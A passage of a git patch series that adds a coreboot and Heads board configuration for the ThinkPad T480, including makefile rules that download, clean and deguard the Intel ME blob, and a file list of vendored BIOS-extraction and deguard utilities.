CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202111_VERSION=202111 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_202305_VERSION=202305 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +# CONFIG_BOOTSPLASH is not set +CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y +# CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set +# CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set +# CONFIG_DEFAULT_SCREEN_ROTATION_270 is not set +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_DRIVERS_EFI_FW_INFO is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_FSP_USE_REPO is not set +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +# CONFIG_FSP_FULL_FD is not set +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +# CONFIG_BUILDING_WITH_DEBUG_FSP is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +CONFIG_DEBUG_TPM=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y + +# +# I/O mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From effa9f63e36cc2b11f420d758d26066b0e07ced4 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Tue, 4 Feb 2025 11:21:53 +0100 Subject: [PATCH 488/619] Add board config for T480 Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 65 +++++++++++++++++++ .../t480-hotp-maximized.config | 7 ++ 2 files changed, 72 insertions(+) create mode 100644 boards/t480-maximized/t480-maximized.config create mode 100644 boards/t480p-hotp-maximized/t480-hotp-maximized.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config new file mode 100644 index 000000000..b987ab9f6 --- /dev/null +++ b/boards/t480-maximized/t480-maximized.config @@ -0,0 +1,65 @@ +# Configuration for a ThinkPad T480. +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y + +#platform locking finalization (PR0) +# Disable for first try, enable when rest works +#CONFIG_IO386=y +#export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + +# Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead +# for a console-based menu. +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y + +export CONFIG_TPM=y +#Enable DEBUG output, debug output probably a good idea for first tests +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test +export CONFIG_QUIET_MODE=n +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOARD_NAME="ThinkPad T480" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" + +# COPIED FROM T440p! NEEDS ADAPTION!!!! +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/haswell/mrc.bin $(pwd)/blobs/t440p/me.bin + +$(pwd)/blobs/haswell/mrc.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/haswell/obtain-mrc $(pwd)/blobs/haswell + +$(pwd)/blobs/t440p/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/t440p/download-clean-me $(pwd)/blobs/t440p + +# Generate split 4MB top / 8MB bottom ROMs +#BOARD_TARGETS += split_8mb4mb Is there an other command for not splitting stuff at the end or is this the default option anyways? diff --git a/boards/t480p-hotp-maximized/t480-hotp-maximized.config b/boards/t480p-hotp-maximized/t480-hotp-maximized.config new file mode 100644 index 000000000..e48ee2fee --- /dev/null +++ b/boards/t480p-hotp-maximized/t480-hotp-maximized.config @@ -0,0 +1,7 @@ +# Inherit the rest from the base T440p config. +include $(pwd)/boards/t480-maximized/t480-maximized.config + +CONFIG_HOTPKEY=y +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +export CONFIG_BOARD_NAME="ThinkPad T480-hotp-maximized" From 3a4be9617ef9249736e0a5a20df2650a9b87ad9c Mon Sep 17 00:00:00 2001 From: notgiven by Date: Mon, 10 Feb 2025 23:05:20 +0100 Subject: [PATCH 489/619] add a new t480.mk dealing with blobs Signed-off-by: Thierry Laurion --- targets/t480_me_blobs.mk | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 targets/t480_me_blobs.mk diff --git a/targets/t480_me_blobs.mk b/targets/t480_me_blobs.mk new file mode 100644 index 000000000..5802fa3be --- /dev/null +++ b/targets/t480_me_blobs.mk @@ -0,0 +1,15 @@ +# TODO describe the process for t480 +#Targets for downloading t480 ME blob, cleaning and deguarding. + +# t480-*-maximized boards require you to initially call +# - blobs/t480/download-clean-deguard-me.sh +# To download donor's Dells-Inspiron.exe, extract ME binary with biosutilities from libreboot, clean ME, +# and deguard it using Mate Kukri deguard tool. + +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/t480/me.bin + +$(pwd)/blobs/t480/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/t480/download-clean-deguard-me.sh $(pwd)/blobs/t480 From 0be89cb3a02fa30ad5e57f71edb9070f2a09755e Mon Sep 17 00:00:00 2001 From: notgiven by Date: Mon, 10 Feb 2025 23:18:52 +0100 Subject: [PATCH 490/619] add dependencies and a script to download and modify essential blobs for t480 Signed-off-by: Thierry Laurion --- blobs/t480/.gitignore | 2 + blobs/t480/README.md | 13 + blobs/t480/biosutilities/.gitignore | 5 + blobs/t480/biosutilities/AMI_PFAT_Extract.py | 319 +++++ blobs/t480/biosutilities/AMI_UCP_Extract.py | 515 ++++++++ blobs/t480/biosutilities/Apple_EFI_ID.py | 167 +++ blobs/t480/biosutilities/Apple_EFI_IM4P.py | 145 +++ blobs/t480/biosutilities/Apple_EFI_PBZX.py | 118 ++ blobs/t480/biosutilities/Apple_EFI_PKG.py | 148 +++ .../t480/biosutilities/Award_BIOS_Extract.py | 74 ++ blobs/t480/biosutilities/Dell_PFS_Extract.py | 1067 +++++++++++++++++ .../t480/biosutilities/Fujitsu_SFX_Extract.py | 89 ++ .../t480/biosutilities/Fujitsu_UPC_Extract.py | 44 + .../t480/biosutilities/Insyde_IFD_Extract.py | 217 ++++ blobs/t480/biosutilities/LICENSE | 19 + .../biosutilities/Panasonic_BIOS_Extract.py | 209 ++++ .../t480/biosutilities/Phoenix_TDK_Extract.py | 243 ++++ .../biosutilities/Portwell_EFI_Extract.py | 136 +++ blobs/t480/biosutilities/README.md | 552 +++++++++ .../t480/biosutilities/Toshiba_COM_Extract.py | 63 + .../biosutilities/VAIO_Package_Extract.py | 147 +++ blobs/t480/biosutilities/common/checksums.py | 25 + blobs/t480/biosutilities/common/comp_efi.py | 57 + blobs/t480/biosutilities/common/comp_szip.py | 72 ++ blobs/t480/biosutilities/common/externals.py | 38 + blobs/t480/biosutilities/common/num_ops.py | 14 + blobs/t480/biosutilities/common/path_ops.py | 154 +++ blobs/t480/biosutilities/common/patterns.py | 34 + blobs/t480/biosutilities/common/pe_ops.py | 49 + blobs/t480/biosutilities/common/struct_ops.py | 28 + blobs/t480/biosutilities/common/system.py | 68 ++ blobs/t480/biosutilities/common/templates.py | 162 +++ blobs/t480/biosutilities/common/text_ops.py | 33 + .../biosutilities/external/requirements.txt | 2 + blobs/t480/deguard/.gitignore | 2 + blobs/t480/deguard/README.md | 81 ++ .../home/bup/bup_sku/emu_fuse_map | Bin 0 -> 7 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 0 -> 18 bytes .../optiplex_3050/home/bup/bup_sku/plat_n_sku | 1 + .../data/delta/optiplex_3050/home/bup/mbp | Bin 0 -> 44 bytes .../delta/optiplex_3050/home/gpio/csme_pins | 0 .../data/delta/optiplex_3050/home/icc/dynregs | Bin 0 -> 36 bytes .../data/delta/optiplex_3050/home/icc/header | Bin 0 -> 4 bytes .../data/delta/optiplex_3050/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/optiplex_3050/home/icc/prof0 | Bin 0 -> 120 bytes .../data/delta/optiplex_3050/home/icc/prof1 | 0 .../data/delta/optiplex_3050/home/icc/prof10 | 0 .../data/delta/optiplex_3050/home/icc/prof2 | 0 .../data/delta/optiplex_3050/home/icc/prof3 | 0 .../data/delta/optiplex_3050/home/icc/prof4 | 0 .../data/delta/optiplex_3050/home/icc/prof5 | 0 .../data/delta/optiplex_3050/home/icc/prof6 | 0 .../data/delta/optiplex_3050/home/icc/prof7 | 0 .../data/delta/optiplex_3050/home/icc/prof8 | 0 .../data/delta/optiplex_3050/home/icc/prof9 | 0 .../data/delta/optiplex_3050/home/mca/eom | 1 + .../delta/optiplex_3050/home/mca/ish_policy | Bin 0 -> 1 bytes .../optiplex_3050/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../optiplex_3050/home/policy/hci/sysintid1 | 1 + .../optiplex_3050/home/policy/hci/sysintid2 | 1 + .../optiplex_3050/home/policy/hci/sysintid3 | 1 + .../optiplex_3050/home/policy/pwdmgr/segreto | 1 + .../home/bup/bup_sku/emu_fuse_map | Bin 0 -> 7 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 0 -> 18 bytes .../thinkpad_t480/home/bup/bup_sku/plat_n_sku | Bin 0 -> 4 bytes .../delta/thinkpad_t480/home/bup/invokemebx | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480/home/bup/mbp | Bin 0 -> 52 bytes .../delta/thinkpad_t480/home/gpio/csme_pins | 0 .../data/delta/thinkpad_t480/home/icc/dynregs | Bin 0 -> 28 bytes .../data/delta/thinkpad_t480/home/icc/header | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/thinkpad_t480/home/icc/prof1 | 0 .../data/delta/thinkpad_t480/home/icc/prof10 | 0 .../data/delta/thinkpad_t480/home/icc/prof2 | 0 .../data/delta/thinkpad_t480/home/icc/prof3 | 0 .../data/delta/thinkpad_t480/home/icc/prof4 | 0 .../data/delta/thinkpad_t480/home/icc/prof5 | 0 .../data/delta/thinkpad_t480/home/icc/prof6 | 0 .../data/delta/thinkpad_t480/home/icc/prof7 | 0 .../data/delta/thinkpad_t480/home/icc/prof8 | 0 .../data/delta/thinkpad_t480/home/icc/prof9 | 0 .../data/delta/thinkpad_t480/home/mca/eom | 1 + .../delta/thinkpad_t480/home/mca/ish_policy | Bin 0 -> 1 bytes .../thinkpad_t480/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/Bist/auto_config | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../thinkpad_t480/home/policy/hci/sysintid1 | 2 + .../thinkpad_t480/home/policy/hci/sysintid2 | 1 + .../thinkpad_t480/home/policy/hci/sysintid3 | 1 + .../thinkpad_t480/home/policy/pwdmgr/segreto | 1 + .../home/bup/bup_sku/plat_n_sku | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480s/home/bup/mbp | Bin 0 -> 44 bytes .../delta/thinkpad_t480s/home/gpio/csme_pins | 0 .../delta/thinkpad_t480s/home/icc/dynregs | Bin 0 -> 28 bytes .../data/delta/thinkpad_t480s/home/icc/header | Bin 0 -> 4 bytes .../delta/thinkpad_t480s/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/thinkpad_t480s/home/icc/prof1 | 0 .../data/delta/thinkpad_t480s/home/icc/prof10 | 0 .../data/delta/thinkpad_t480s/home/icc/prof2 | 0 .../data/delta/thinkpad_t480s/home/icc/prof3 | 0 .../data/delta/thinkpad_t480s/home/icc/prof4 | 0 .../data/delta/thinkpad_t480s/home/icc/prof5 | 0 .../data/delta/thinkpad_t480s/home/icc/prof6 | 0 .../data/delta/thinkpad_t480s/home/icc/prof7 | 0 .../data/delta/thinkpad_t480s/home/icc/prof8 | 0 .../data/delta/thinkpad_t480s/home/icc/prof9 | 0 .../data/delta/thinkpad_t480s/home/mca/eom | 1 + .../delta/thinkpad_t480s/home/mca/ish_policy | Bin 0 -> 1 bytes .../thinkpad_t480s/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/Bist/auto_config | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../thinkpad_t480s/home/policy/hci/sysintid1 | 1 + .../thinkpad_t480s/home/policy/hci/sysintid2 | 1 + .../thinkpad_t480s/home/policy/hci/sysintid3 | 1 + blobs/t480/deguard/data/fpfs/optiplex_3050 | Bin 0 -> 256 bytes 